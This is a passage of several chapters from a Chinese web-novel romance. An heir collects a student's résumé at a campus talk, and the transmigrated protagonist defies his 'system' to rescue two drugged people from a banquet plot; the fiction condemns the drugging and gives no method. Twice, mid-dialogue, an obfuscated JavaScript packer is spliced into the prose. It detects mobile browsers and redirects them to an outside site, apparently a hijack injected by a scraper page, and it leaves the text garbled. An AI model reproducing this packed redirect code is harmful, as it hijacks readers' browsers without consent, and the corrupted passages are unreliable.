要是在家就好了,想吃什么都有阿姨做,哪像现在这样什么都要提前安排,还得他自己操心。他要是翘班去吃饭,他爸肯定说他不能坚持,还是算了。 卓鹭元随便吃了点东西,准备找个时间去和乔昱褀聊新能源项目的事,不管怎么说他总得去实地考察一下吧? 本来卓鹭元计划得好,但下午突然来的一通电话打乱了他的安排: “啊?给学弟学妹开讲座,我吗?” 卓鹭元指着自己不知该说什么好,他不是个才来公司学习一星期的纨绔吗,他怎么给学弟学妹讲课,难道演讲一篇我的董事长父亲?会被人套麻袋的吧! 学校老师也是个人精,拐了个弯笑吟吟地在电话里对卓鹭元说:“当然了。卓先生成绩好形象佳,现在又在公司的重要岗位任职,怎么会不合适。重要的是现临近毕业季,毕业生们也需要一些前辈的经验来指点方向嘛。” 卓鹭元:“…好吧,大概什么时间?”他懂了,毕业季学校想让他帮忙照顾一下学弟学妹,顺便去当一下吉祥物。 校方老师:“就在下个星期一,地点在淮市大学的大礼堂。” 卓鹭元大一大二时成绩还行,后来就彻底和盛俊文他们放飞自我了,老师说的话卓鹭元听听就罢了,不过要是能有些优秀的人才倒也不错。 淮市大学还像模像样的给卓鹭元发了一封邀请函,到讲座那天卓鹭元还要靠着它进学校的大门,淮市大学的管理还是挺严格的。 淮市大学扎根本市,距今为止建校已经有一百多年的历史,为淮市培养了许多人才,也是公司里不少员工的母校。 卓鹭元有好几年没有回来过了,看着教学楼还有些恍如隔世的感觉。卓鹭元拿出邀请函递给门口的门卫,门卫检查了一下就放行了。 离讲座开始还有一段时间,卓鹭元在电话里婉拒了老师过来接他的建议,提出想自己在校园里走一走。学校的教学楼从外表看起来还是老样子,和他上学时没什么区别,但后来听说有校友捐了新的桌椅板凳,反正他是没赶上。 卓鹭元就这样漫步在校园里,不远处两个女生你推我搡地往这边看过来,路人学生也有不少人故意放慢脚步偷看卓鹭元,他甚至听到了那些学生小小的惊叹声。 旁边的女生好不容易鼓起勇气,拿着手机走到卓鹭元面前,刚说了句同学你好,卓鹭元立马后退一步警惕地说:“没手机,不恋爱,无性恋。” 说完也不等女生反应过来,快步往大礼堂的后台休息室去了。他知道自己长得好看,但他都毕业这么多年了,可不想被人围起来当猴看。 因为今天只是针对毕业生的讲座,所以来的学生不是很多,显得大礼堂有些空旷。今天的讲座不止一场,卓鹭元只是讲其中一场,连讲稿都是在网上找了一篇讲稿连夜改的。 他向助理要了些资料,以自家公司招聘为例大概讲了一下就业形势,同时假装不经意间展示一下公司里的福利待遇和招聘条件,准备看看到时候能不能吸引一些学长学姐来应聘。 在卓鹭元前面讲的是另外一个学经济的校友,坐在台上谈了不少国际经济形势,但卓鹭元看底下学生都开始玩手机了。 这样也好,万一等会讲错了也没人关注他。 等到卓鹭元上去讲的时候,他忽然感觉礼堂里所有人的视线都聚焦了过来,同时戳手机戳地更快了,卓鹭元用脚趾头想都知道他们在干什么! 卓鹭元心里有种不好的预感,加快了自己说话的语速。与此同时,祁琼音却揉了揉眼睛看着台上的人,那不是之前和贺先生在一起的人吗? 他居然也是淮市大学的学生,还是她的学长? 卓鹭元讲完之后,祁琼音急忙从座位上站起身朝他的方向挤过去,也不顾自己被挤得散乱的头发,从自己背着的包里掏出一张纸,踮起脚在卓鹭元眼前挥了挥:“卓先生你好,我们之前见过的!” 卓鹭元旁边围了不少学生,不仅有要他联系方式,甚至还有要他签名的,他又不是什么明星。所以卓鹭元对于祁琼音手上的纸片也只是轻轻一瞥,下意识开口:“不签名…” 等等,她手里好像是张简历? 祁琼音眼看卓鹭元要走,不知从哪生出来的力气,愣是在一群迷弟迷妹中挤出一条缝来,把简历拿在卓鹭元眼前:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665002|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请问有实习岗位招人吗,我学能源的,研究生今年毕业,拜托看看我的简历!”他们公司的薪资待遇听起来很不错,她必须抓住机会! 卓鹭元想起自己之前碰到祁琼音的场合,不由得对她肃然起敬,这么拼的吗,随身带简历? 刚才祁琼音说自己事学能源的,卓鹭元内心微动,带着祁琼音到旁边去说话:“你是学能源的?” 祁琼音的简历很好看,成绩好不说还年年拿着奖学金,现在跟着导师做研究。卓鹭元有些意外,这还是个和他新项目相关的人才? 卓鹭元也不太了解这方面的专业知识,卓父为了新项目已经在准备组建相关的团队,卓鹭元也在想着往团队里塞点自己的人,方便探听消息,眼下祁琼音就是个不错的选择。 想到这里,卓鹭元心里有了主意,把简历还给忐忑的祁琼音对她说:“你的简历看起来不错,我把你的简历留下,这段时间保持电话畅通,到时候会有人联系你对你进行面试。” 说是面试,卓鹭元是想借卓父的人看看祁琼音是不是真的有真材实料,如果祁琼音表现还不错,他就打算顺其自然把她塞进项目组里当二五仔,随时汇报动向。 祁琼音激动地握拳:“我肯定去!” 等到卓鹭元走了,祁琼音还沉浸在喜悦中没回过神来,迷迷糊糊地回到自己的宿舍里。宿舍里一个看不惯她的室友阴阳怪气地说:“果然人要想活得好啊,就得脸皮厚,我可不像有些人,都快倒贴到别人身上去了。” “说这话的人要不要先照照镜子?琼音的成绩一向是第一,你呢,你的论文过了吗?”祁琼音的闺蜜毫不客气地把人怼回去,然后兴奋地拉着祁琼音问话:“真的能去实习啦?我就知道你可以!” 祁琼音摸了摸脑袋,想起刚才自己的壮举还有些不好意思:“还没确定呢,要等面试完了才知道。我就是听他们公司的薪资待遇挺好的,头脑一热就把简历塞过去了,如果能去的话我就不用像现在这样打这么多份工了。” 闺蜜也替祁琼音庆幸:“我就说让你把现在那个家教辞了。虽然那小孩人不错,但是他那家长看着不像什么好东西,之前我听说有学姐做家教被他骚扰,最后还被倒打一耙说学姐勾引他,他也不撒泡尿看看自己配不配!” 祁琼音也知道闺蜜说的大概率是真的,因为那个家长总在女主人不在的时候和自己说些有的没的,还企图动手动脚,她就是再迟钝也感觉到了。想到这份即将到手的新工作,祁琼音鼓起勇气下定决心:“嗯!要是我能面试成功,我就把家教辞了。” 闺蜜点头,随即想起什么:“对了,我哥不是在酒店工作吗,最近他们那边在招临时服务员,薪水不错,但是要提前过去培训两天,听说是为了一场晚宴,他们那边人手不足,你想不想去?可别说我没想着你,我一点也不想让你再去那个家教了!” 祁琼音乐呵呵地答应下来:“去,我肯定去,谢谢你啦!” 23. 第 23 章 “好的,接下来…”贺真话说了一半忽然停顿下来,周围的御宴宫不自觉地看向他,贺真面不改色地接上了后半句话:“…先休息十分钟,之后继续开会。” 贺真从会议室出来,回到办公室用脚尖踢了踢茶茶:“别装死,讲讲为什么主线剧情突然推进了一大截。” 刚才他正在和员工开会,系统突然弹出提示,提醒他主线任务剧情进度增加,他顾不上开会,马上把狗系统拽出来问清楚。 茶茶顺着贺真的裤腿爬到腿上,调出主线剧情给贺真看,任务进度增加的部分剧情就会部分公开,于是贺真就看到了在淮市大学的礼堂里,头发挤到凌乱的祁琼音在人缝中举着一张简历冲着卓鹭元挥舞的画面。 贺真沉默了,祁琼音是有点力气和手段在身上的,尤其简历还是彩色打印的,看来为了找工作很下血本了。 剧情的力量确实强大,他这个绿茶男配出场之后其实不少剧情也跟着起了蝴蝶效应,但男女主还是遇到了,并且卓鹭元还收下了祁琼音的简历,约她去公司面试。 贺真放大看了祁琼音的简历,在看到她的专业时,几乎是瞬间明白了为什么卓鹭元会帮祁琼音,大概还是为了那个项目的事。 但这不妨碍贺真有些不爽,虽然他不知道为什么。 贺真坐在办公室里,手里的签字笔下意识敲着桌面,钱特助看着时间差不多,进来询问贺真会议是否继续,贺真微微摇头,忽然问他:“钱特助,我记得乔家之前送来一张邀请函,是关于那个新能源项目的事?” 是这样没错,但钱特助记得当时贺真明确说了不去,不看好他们这个项目,不知道现在提起是什么想法。但钱特助还是尽职尽责地回答:“是的,时间是十天后的傍晚,在海华大酒店。” 这场宴会是乔家专门为了那个新能源项目办的,目的就是为了将更多的人拉进这个项目里,不出意外的话卓鹭元应该也会去。 贺真沉默地看着系统弹出的提示,让钱特助放下邀请函先出去。待到办公室无人之后,贺真才问茶茶:“你说的重要剧情是什么?” 茶茶发现宿主似乎心情不好,于是伸出猫爪把主系统的提示挪到贺真面前,试图卖萌撒娇让宿主心情好起来:“十天后的乔家宴会是一个重要的剧情节点,按照剧情,男女主会因为被下药的缘故在一起,然后再因为各种误会……” “打住。”贺真叫停茶茶,语气里尽是不赞同:“这种不尊重人的剧情有什么存在的必要,我拒绝而且这个剧情为什么之前我没有在故事梗概里看到过?” 可是不做的任务话,宿主就没办法攒够积分回去了,茶茶急忙解释:“故事梗概只展示基本剧情,因为篇幅问题部分剧情会被折叠,所以故事梗概里是看不到的。这段不用宿主做任务,只是重要剧情提醒而已,只要顺着剧情就可以轻松拿到积分,这样不好吗?而且宿主本来也不是这个世界的人呀。” 茶茶越说越小声,贺真的脸色也越来越难看,最后冷笑一声:“不是这个世界的人就可以不尊重?听起来对你们系统而言,你们绑定宿主的时候,是不是也是这样看待我们的?” 可大家做任务不都是这样的吗?茶茶它也不知道,它也只是个刚诞生不久的新系统,解答不了贺真的问题。 贺真从茶茶低着头的样子明白了什么,直截了当地问它:“让男女主在一起还有很多合理合法的方式,我不赞同,我能不能告诉卓鹭元这件事,让他避免这个剧情?” “绝对不可以!”茶茶疯狂摇头:“主系统对剧透监管很严格的,宿主这么做会直接被判定任务失败抹杀的,尤其这还是重要剧情!” 想起卓鹭元对待朋友的样子和之后会遭遇的事情,贺真深吸一口气,做了个决定:“既然你也说是做任务,完不成会怎么样?” 茶茶似乎猜到宿主要做什么,打开系统空间里的任务守则指给贺真:“依据任务重要程度判定。普通的任务没有完成会扣一点积分,支线任务没有影响,最多只是拿不到分而已。但是宿主,” 茶茶严肃地对贺真说:“像这样会影响剧情走向的重要任务,如果没有完成就不只是扣分的问题,还会有惩罚。宿主,卓鹭元他是男主,就算根据剧情走下去也不会发生什么事,这个世界依旧会偏爱他。但是宿主不仅要面临积分清零的危险,还要受到严厉的惩罚。” “这样真的值得吗?” 贺真听完倒是放松下来,斜睨正在偷看自己的茶茶:“你是不是忘了自己怎么绑定的我?” 因为救人。 茶茶没有回答,仿佛知道了贺真的选择。 它听到宿主对自己说:“卓鹭元热情仗义,人品好又有底线。祁琼音虽然鲁莽了一点,但她没做什么坏事。或许你说得对,就算我不插手,他们依然会被世界偏爱,但对我来说这不一样。” 贺真揉了揉茶茶的头:“没人问过他们愿不愿意接受这样的剧情和结果,被世界偏爱是他的事,我想让他们有选择的权利,这是我的原则,也是对他们的尊重。现在告诉我吧,惩罚是什么?” 茶茶有些似懂非懂地回答:“电击,听说会比生小孩还痛苦一点,但是对宿主的身体没什么影响,只是痛觉上的模拟而已。宿主真的能承受得了吗?” “嗯,那就好。”贺真放下心来,对茶茶说:“到时候麻烦你和主系统商量一下,看看能不能不扣积分,把需要扣的积分加到惩罚上,我们可不做亏本的生意。” “好,茶茶知道了。”茶茶有些低落,答应了贺真之后就缩回系统空间里了。 贺真做了决定,打电话给钱特助:“十天后的宴会我以贺家的名义参加,你和我一起去。” “哥,你最近都在忙什么,干吗都不理我!” 郑曦生气地站在郑煦书房门前,堵住又要把自己扎进文件堆的哥哥,不满地抱怨:“你都很久没和我好好聊天了。” 郑曦和郑煦的父母去世得早,兄妹俩说是相依为命也不为过,所以郑煦也很宠着郑曦这个唯一的妹妹,几乎是有求必应。 郑煦闻言摸了摸妹妹精致打理过的头发,声音里难掩疲惫:“最近公司里的事情有点多,等忙完这一阵,哥哥陪你去逛商场,给你提包包好不好?你这段时间找你潜溪哥哥玩,想买什么就买什么,哥哥出钱。” 郑曦有些郁闷:“自从那个死绿茶接管了星芒,潜溪哥就忙得团团转。最近他忙着巡演,我都半个月没见到他了,他还不让我去找死绿茶的麻烦。” 贺真接管星芒之后公司里的风气好了不少,因为背靠贺家的缘故,还挖来不少厉害的经纪人,贺真马上就给郑潜溪安排上了,郑潜溪自己也挺满意的,总比在家抠脚好,怎么可能郑曦让去找麻烦。 贺彦这个坏东西,没事干吗做那些违法的事,结果自己的玩伴也没了。 郑曦叹了口气,又晃了晃郑煦的胳膊:“你陪我嘛,什么工作比你亲爱的妹妹还重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665003|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 郑煦只好大概和郑曦解释了一下:“最近乔家提出的新能源项目很不错,圈里不少人都有合作意向,你哥我也是。但不巧的是去年公司刚好投了项目,目前资金周转不开,我正在想办法看能不能调动一些资金,赶上这个项目。” 虽然郑煦这样说,但他心里觉得概率不大,对于这块喷香的饼只能尽力一试了。 郑曦眼珠转了转,问郑煦:“圈里很多人都心动?那卓家呢,鹭元哥哥他去吗?” 鹭元哥哥,又是鹭元哥哥! 郑煦有些吃味,故意说:“唉,妹大不由哥,还没追到人胳膊肘就往外拐了。他也去,行了吧。你老实和我说,你是不是又想追过去?” 郑曦被看穿也不掩饰,理直气壮地说:“当然啦,我已经学了不少绿茶语录,鹭元哥哥肯定会喜欢我的,凭什么我比不过那个死绿茶!” 郑曦始终对贺真耿耿于怀,郑煦怕自己妹妹真的得罪人,只好冒着惹她生气地风险小心提醒:“我可以答应带你去宴会,但你要答应我不能惹事。我听说贺真也会去宴会,而且是代表贺家,无论你有多讨厌他,也不能在那种场合给他难看。” 郑曦不甘不愿地答应下来:“知道了,我不会给哥哥惹事的。那你再给我一张邀请函,我要和菱菱一起去,你们每次喝酒说话都可无聊了,我要带个朋友去。” “好好好,只要你开心,哥哥什么都答应你。”郑煦顺着郑曦的话答应下来,不就是一张邀请函吗,对他而言还真不算什么事。 “谢谢哥哥,我就知道你最好啦!”郑曦笑着跑走,嘴里哼着开心的小调,还是一副无忧无虑的样子。 郑曦一走,郑煦脸上掩饰不住的疲惫再次浮现出来,他这些天一直在想办法,但能周转的资金还是不够。郑曦那个叫唐菱的朋友,家里也是保守派,没有什么合作的可能,看来这次他可能要退出竞争了。 不管郑煦怎么想,十天后的晚宴还是按时开场了。 贺真走进酒店,乔昱褀就端着酒杯迎了上来: “贺大少能来可真是意外,难不成也是来谈合作的?” 乔昱褀话中带刺,意有所指:“听说贺大少不久前才把亲堂弟送了进去,这样的合作方可有点令人不放心啊。” 贺真随手拿起一杯酒晃了晃,乔昱褀出于礼节也举起酒杯想要和贺真碰杯,贺真却无视乔昱褀碰杯的动作,兀自喝了一口之后又将酒杯放回托盘:“原来乔总在为他打抱不平。不过比起我,乔总更应该担心自己的眼光,毕竟替一个会挪用公司钱的人出头,应该更令其他合作方担心吧。” 原本周围还在观望两人谈话的宾客,在贺真离开后悄然散去,心里也多了点计较。乔昱褀年轻气盛,还是和他父亲差远了。 乔昱褀注意到旁边宾客的目光,压抑住心中的怒火举杯冲他们笑了笑,转身时脸色却沉了下来,用力地将酒杯放入旁边侍者端的托盘里,意料之外的力道让侍者的手颤抖了一下,酒液洒在了乔昱褀的衣服上。 “你是怎么做事的!” 祁琼音也没料到这人放下酒杯的力道这么大,但由于吸取了前两次的教训,祁琼音还是第一时间道歉了:“对不起,是我没拿稳。” 倒霉死了,祁琼音这样想着,但愿不要扣她的工资就好了,为了这个她还牺牲打工时间过来培训了两天呢! 乔昱褀看了一眼自己的衣服,阴冷的眼神扫过祁琼音,去休息室换衣服了。 25-30 第25章 第 25 章 贺真整了整衣服朝卓…… 贺真整了整衣服朝卓父走过去, 得体的笑容让人挑不出错:“卓伯父。这位就是乔总?那可真巧,之前在门口我和乔总遇上, 还聊了两句。” 乔昱褀听贺真提起之前的事,竟然也没生气,反而顺着贺真的话往下说:“是啊,这可真是有缘。听说贺总比我还小一点,这也难怪年轻气盛了。” 卓父跟着笑了两声,亲切地拍拍贺真的肩膀:“是啊, 阿真比鹭元还小一点呢,是年轻不错。” “比起年轻气盛,或许乔总更应该用雷厉风行这四个字。”贺真有意无意地提醒, 对于乔昱褀的话不轻不重地反驳。 贺父不在, 卓父本意是想带着贺真认识些人, 但几句话下来饶是卓父再迟钝,也发现了两人之间的不对付。虽然乔昱褀是他心仪的合作伙伴,但卓父心里的天平还是不自觉地偏向了贺真:“这里面是不是有什么误会,阿真你来说说?” 贺真简单地说了两句,无意把贺家内部的事摊开来说,卓父听了之后倒是明白了, 同时也不明白乔昱褀,好端端地帮贺彦出什么头,只好先将两人隔开:“还有这回事?罢了,你们年轻人不爱交际,你去陪着鹭元吧,你和他应该能玩到一起去。” 贺真也不想留在这和乔昱褀说些没营养的话,只是刚离开这里,茶茶就焦急地在他腿边绕着圈:“宿主宿主, 主角好像被人带走啦!” 卓鹭元被人带走了? 贺真不敢大意,快步回了刚才卓鹭元休息的地方,果然不见人影。贺真想到原本的主线剧情,看向桌子上放着的酒杯,情急之下打电话给刚才离开不久的卢俊城和宁之衡二人,拜托他们赶过来让人别动这里的东西,自己连忙依据茶茶的提醒上楼找卓鹭元的踪迹。 他一定会赶上的。 贺真走后,卓鹭元克制地没喝酒,时不时和同样在休息的人攀谈两句消磨时间。酒杯里的葡萄汁被他喝完了,卓鹭元只好把目光投向桌上的点心,看到那个熟悉的造型时还有些意外:“嗯?这不是我爱吃的那家吗,乔昱褀这家伙还真下血本。” 只是卓鹭元吃完之后,忽然觉得自己身体有些不对劲,一股热气随着心火从体内蹿起,皮肤也慢慢染上红色。卓鹭元的思绪开始混乱,仅剩的理智告诉他要找个地方躲起来找人帮忙。 卓鹭元扯着领带跌跌撞撞地走向三楼,却在刚到三楼时被人一把钳住手臂:“卓先生,跟我来吧。” 卓鹭元奋力想要推开他,口中却只能发出不成句的呢喃,被人拽进了一个房间。 “原来卓大少也会露出这幅难看的样子。” 说话的声音似乎很耳熟,但卓鹭元一时却分辨不出那是谁的声音。旁边另外一人接话:“还抓到一个女的,乔总,您看该怎么处理?” “哼。当然是等我品尝完卓大少的滋味,再把两个人丢到同一间房间里,让那些记者们来好好拍拍。行了,你出去吧。”乔昱褀说完,走向卓鹭元抬起他的下巴:“你说你,当初为什么要拒绝我呢?现在还不是落在了我手里,等我…谁?” 乔昱褀话没说完,房间却突然响起了敲门声,那人低沉的声音说:“乔总,卓总刚才接了个电话后神色不对,似乎有意退出,您要不要去看看?” “净给我找事!” 乔昱褀嘴上骂着,却不能不出去看,只好把卓鹭元往床上一扔,自己去开门:“让他……砰!” “宿主好厉害!” 贺真在乔昱褀开门的瞬间揪住对方的衣领,狠狠甩向房间内的矮柜,力道之大连矮柜都向后推出一段距离。 但此时贺真无暇估计乔昱褀,马上到床边看卓鹭元的情况。卓鹭元躺在床上衣服有些凌乱,但是人却不太清醒,也不知道乔昱褀给他下了什么药,只是一个劲地说着好热,试图脱掉自己的衣服。 乔昱褀挣扎着从地上爬起来,不能让贺真就这样带着卓鹭元离开。贺真摸了摸卓鹭元的额头,把自己的手表解下来放进对方手中:“帮我拿着。” 冰凉的表带唤回了卓鹭元些许理智,卓鹭元挣扎着辨认那道声音的主人,下意识喊到:“贺…贺真真?” 贺真躲过乔昱褀晃晃悠悠的拳头,朝对方肚子踢了一脚,然后头也不回地抱起卓鹭元准备带人去医院。 旁边的房间里,郑曦忐忑地对唐菱说:“可是我刚才听到求救的声音了,听声音好像还是个女孩子,我们真的不要出去看看吗?” 唐菱犹豫着拉住郑曦的手臂:“我们还是别管闲事了。” 郑曦因为刚才宁之衡的话有些心烦意乱,这会对唐菱的话也没有原本那么相信,所以还是鼓起勇气打开房门,正好碰到贺真一手一个的样子。 左边带着卓鹭元,右边扛着祁琼音。 “你在干什么?!”郑曦不可置信地看向贺真,贺真却没时间解释了:“他们两个被人下药了,我带卓鹭元去医院,这个交给你。” 说完贺真把祁琼音放下来,郑曦连忙扶住她,还想再和贺真问些什么,贺真却头也不回地快步走了。 郑曦看看状态不对的祁琼音,打了电话给司机:“快过来,我要去医院!” 贺真把卓鹭元送到医院,直到对方打了点滴,表情不再难受之后才放松下来,对一旁忧心忡忡的茶茶说:“开始吧,有什么事我担着。” 卓鹭元感觉自己做了一个很长的梦,那种被恶心又黏腻的视线盯上的感觉让他下意识后背发凉,看着梦中那张模糊的脸大喊一声“滚开”,然后猛然睁开眼睛。 “醒了?” 卓鹭元意识还没有完全清醒,陌生的房间和消毒水的气味提醒他自己在医院里。卓鹭元看向在病床边守着的贺真,不确定地问:“我在医院里?” “嗯。”贺真似乎有些疲惫,高大的身躯靠在椅子上,还不忘给卓鹭元倒了杯水:“喝点水。” 卓鹭元接过水杯,想到刚才那个噩梦,忽然低头看了看自己的衣服,发现自己昨天穿的西装被人换了下来,这会身上穿的是医院里的病号服,马上缩进被子里,惊疑的眼神盯着贺真:“昨天发生什么了?” 贺真看着卓鹭元这怀疑自己的样子,波澜不惊地说:“我叫贺真,不叫张三。” 他是守法公民,不是法外狂徒。 卓鹭元放下点心来,抓着被子往后靠了靠,这才有时间打量眼前的贺真。 贺真看起来比之前见面的样子都要憔悴,西装外套被他搭在椅背上,里面的衬衫却皱皱巴巴地贴在身上,连头发也是凌乱的,看起来比他这个刚醒来的人像个病号。 卓鹭元伸手摸了一下他的衣服,贺真的手臂似乎有片刻的紧绷,随即又放松下来。卓鹭元放开手,半调侃地问他:“这么紧张做什么。那个,我有个事想问你,昨天晚上是你一直守着我吗?” 他爸妈呢,怎么没见到? “伯父伯母去处理你的事情了,才离开不久。既然醒了就吃点东西吧,我去让人准备。”贺真说完就要起身,却被卓鹭元拉住胳膊,听到对方问他:“昨天是你救了我?怎么看起来比我还憔悴。” “嗯,”贺真嘴角扯出一个淡淡的笑容,对卓鹭元说:“因为某个人不清醒的时候不太老实,我花了好大力气才把他塞进车里送到医院,这件事你有什么头绪吗?” 卓鹭元听到贺真还有心情打趣自己,讪讪地放开手:“我又不是故意的,那个,谢谢你。”卓鹭元示意贺真帮他把西装外套拿过来,当着贺真的面把其中一只袖扣拆下来递给他。 早在贺真昨晚看到卓鹭元时就发现了,他戴的那对袖扣正是自己送出去的那一对,和卓鹭元很相配。现在卓鹭元把袖扣还给他一只又是什么意思? 贺真用眼神询问卓鹭元,卓鹭元不自然地移开视线:“我欠你一个人情,现在身上也没别的东西。这个给你,算我答应你一个要求,但太过分的可不行。” 贺真接过那只袖扣装进口袋,转身出门前却又突然回头:“小心乔昱褀。” 卓鹭元看着贺真说完这句话就出去,看来昨天对自己下手的人应该就是乔昱褀没错。病房里无人,卓鹭元往后一靠又倒回病床上,看着医院的天花板回想着昨天的事。 卓鹭元确定自己昨天只是喝了点葡萄汁,吃了宴会上的点心,然后自己的意识就开始模糊,后面的事情也记得不太清楚,似乎是贺真找到了自己,然后把自己带了出来。 卓鹭元脑中划过什么,急忙伸手掀开右边的被子,最后在枕头底下找到了一块手表,应该是贺真的手表,昨天自己朦胧之中握到底那丝凉意就是它带来的。 卓鹭元看着自己手里的这块表,越发不清楚贺真的想法了。不过出了这么大的事,卓父应该不会再考虑和乔家合作了。 护士很快送了饭菜过来,卓鹭元吃完之后睡意上涌,握着那块表沉沉睡了过去,希望这块表能帮他把噩梦挡在外面。 医院中另外一间病房里,祁琼音看着面前的两个女生,有些摸不着头脑:“你们是谁,我怎么会在医院里,我昨天不是在打工吗?” 郑曦臭着一张脸,暗骂昨天就应该坚持自己送鹭元哥哥来医院,这样鹭元哥哥睁开眼第一个看到的人就是她,多好的机会啊,又被贺真这个死绿茶抢了! 唐菱对郑曦的想法有些不以为然,卓鹭元都那样了,难道不是直接生米做成熟饭,自己上位来得更快吗?但先前唐菱因为阻止郑曦帮祁琼音的事,郑曦已经对她有意见了,于是唐菱最后还是什么都没说。 “你问题这么多,到底让我先回答哪一个。算了算了,你昨天被人下药了,不小心被我碰到,我就把你带到医院来了,不用感谢我。”郑曦郁闷地捧着脸,敷衍地回答着祁琼音的话。 “完了,我的兼职!”祁琼音一骨碌从病床上爬起来,看着空旷又精致的单人病房,绝望地喃喃自语:“这么贵的病房,医药费一定也很贵吧……” 郑曦不知道祁琼音在喃喃自语什么,还无视自己的话,不爽地看着祁琼音:“喂,你不感谢我也就算了,怎么还在惦记这点钱啊!”到底哪个更重要这人都分不清吗? 祁琼音对郑曦深深鞠了一躬:“谢谢你救我,医药费我会还给你!” 郑曦吓了一跳,伸手把祁琼音扶起来:“你这是干什么,吓死我了。一点小钱而已,有什么可还的。” 但是祁琼音怎么说都要还郑曦的钱,郑曦烦不胜烦还是加了她的联系方式,挥挥手让她去忙自己的事了。唉,也不知道鹭元哥哥怎么样了,要不然等一会去看看他? 唐菱观察着郑曦的表情,小心提议:“既然这个女人都醒来了,那卓鹭元应该也醒了吧,要不我们去看看?” 郑曦却没第一时间接话,直到唐菱问第二次时才回神,犹犹豫豫地说:“菱菱,宁之衡说的那些事是真的吗,就是关于你父亲的那些事。” 虽然郑曦没有把话说明白,但唐菱几乎是瞬间就知道郑曦还是把昨天宁之衡的话听进去了,脸上一向温和的表情差点没有维持住,忍不住在心里骂宁之衡多事,但面子上还是她要稳住郑曦。 唐菱苦笑一声,侧身对着郑曦,面色有些苍白:“那些都是父辈的事,我一个女孩子家也不好说什么。你知道的,因为我不是男孩,家里人一直不太看重我。” 唐菱说完后故意等了片刻,郑曦却没有像她想象中一如既往地心疼她,反而叹了口气:“菱菱,我最近脑子有些乱,你先回去吧,等一会我自己去看鹭元哥哥。” 郑曦没有挽留的意思,唐菱也不好硬留在这里,不如以退为进:“曦曦,那我先回去了。” 唐菱的脸色在踏出病房的一刹那瞬间变得阴沉,握着提包的那只手,指甲甚至在包上留下了深深的印记。郑曦脾气任性,做事更是想一出是一出,她费了好大的功夫才获得对方的信任成为朋友,结果宁之衡几句话就让她的努力都付之东流,唐菱怎么可能不生气! 有一点她没有骗郑曦,她确实因为自己不是男孩在家里不受重视,所以想通过其他方式为自己谋一条好出路,比如利用郑曦认识家世不错的人联姻。 唐父不是什么老实人,自从唐菱出生后就对她失望了,觉得自己赔了夫人又折兵,最后连个儿子都没有,还把宁家得罪了。唐菱背地里调查过,除了自己之外,唐父果然还有两个私生子,她说什么都不能失去郑曦这棵大树。 唐菱忍下心中的怒气,琢磨着自己要挑件郑曦喜欢的礼物,再将人哄回来了。 唐菱走了之后,郑曦心里也不怎么平静,忍不住反思是不是自己做错了。她之前一直以为菱菱是个善解人意的女孩子,可是昨天她不仅拦着自己去帮祁琼音,还有她家里那些事,她有些动摇了。 郑曦虽然平时骄纵任性,但并不是一个是非不分的人。相反,当初在她和郑煦的父母出事时,那些急不可耐跑来落井下石的嘴脸,郑曦一辈子也忘不掉,对于别人的恶意更加敏感。 郑曦的直觉告诉她,唐菱或许不像她以为的那样好,所以她就顺从自己心中的想法让唐菱离开了,但愿她的选择是对的。 虽然她的朋友很少很少,但她不想要坏朋友。 贺真拖着疲惫地身躯回到家里,钻进浴室把自己洗干净后倒在床上,揉了一把同样神情恹恹的系统:“茶茶,昨天的惩罚,你是不是偷偷帮我了?” 系统往后缩了一下,躲开贺真的手,心虚地说:“没、没有哇,系统。才不是做慈善的呢。” 贺真看到茶茶的反应就知道自己猜对了。 昨天惩罚结束之后,贺真觉得自己身上还残留着针扎般的疼痛感,似乎连触碰都会回忆起那种感觉,以至于今天卓鹭元拉住自己的胳膊时,他下意识就想把他的手甩开,最后怕他看出什么还是忍住了。 平时系统巴不得黏在自己身边,哪有这样一摸就跑的样子,贺真猜测是茶茶分走了部分惩罚到自己身上,所以贺真猝不及防摸过去的时候它才会躲。 “谢谢,你真是世界上最好的系统。”贺真看着茶茶,十分真诚地说道。 “哪里,遇到你这样的宿主才是系统的福气。”茶茶窝在贺真旁边,谄媚地回答。 贺真和系统对视一眼,总觉得两个人刚才的对话有些奇怪,听起来有些…绿茶? 片刻后,贺真率先打破沉默:“答应我,以后我这样说话的时候一定要阻止我。” 系统:“…好。”它自己也得注意了。 贺真说完之后再也支撑不住,陷在枕头里睡了过去。 等到贺真再次睁眼的时候,已经是第二天下午了。昨天他没顾得上给手机充电,手机已经关机了。等他打开手机,消息像泉水一样全涌了进来,贺真一时看不过来。 贺真颇有耐心地慢慢翻着,里面的消息无外乎两件事,卓鹭元被人陷害和卓父放话不会和乔家合作。 前者的消息来自于几人的小群,群里人义愤填膺地七七八八讨伐着乔昱褀。那天贺真给卢俊城和宁之衡的电话打得及时,侍者还没来得及收走卓鹭元吃过的点心和用过的酒杯,这些证据全都被他们收集起来给了卓父。 贺真吃饭时和父母聊起这件事,贺父还提醒他:“你也离那个乔家远一点。做生意不能只看重短期利益,也要看合作方的。” 贺真点头,贺母也接话:“是啊,最近他们可是为鹭元那孩子操碎了心,还好人及时被你带去医院了,要不然指不定有多疯呢,他们就那一个孩子。对了,这两天你空出来点时间,他们要上门来感谢你。” “都是朋友,感谢就不必了吧。”贺真不是很适应卓母的热情,有些应付不来这种场面。 贺母也觉得两家人都认识久了这样有些没必要,但却拗不过卓母非要过来,只好提前和贺真说一声。 